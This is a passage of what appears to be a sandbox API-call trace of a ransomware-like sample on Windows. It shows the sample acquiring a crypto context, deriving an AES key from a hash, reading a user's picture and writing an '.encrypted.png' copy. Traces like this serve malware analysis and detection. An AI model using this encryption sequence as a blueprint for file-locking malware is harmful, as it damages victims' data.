lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.png", cchWideChar=49, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.png", lpUsedDefaultChar=0x0) returned 49 [0028.100] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\r69n iygd.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=49, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 49 [0028.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=49, lpWideCharStr=0xe8f4062aa0, cchWideChar=49 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.png") returned 49 [0028.101] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.101] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.101] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.102] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.102] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.102] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.102] CloseHandle (hObject=0x188) returned 1 [0028.102] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.102] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.102] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.102] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.102] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.103] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.103] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.103] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.103] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.103] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.103] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.104] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.104] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.104] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.104] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.104] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.104] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.105] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.105] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.105] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.105] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.105] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.105] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.105] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.106] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.106] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b6c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.106] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.106] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.106] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.106] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.106] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.107] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.107] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0028.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.108] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.108] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.108] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.108] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.108] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\r69n iygd.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.108] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.108] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.108] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.109] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w")) returned 0x10 [0028.109] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\r69n iygd.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.111] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.111] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x49ce, lpOverlapped=0x0) returned 1 [0028.112] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.114] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.114] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.114] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.114] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.114] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.114] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.114] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.115] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.115] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.115] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.115] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.115] CharUpperBuffW (in: 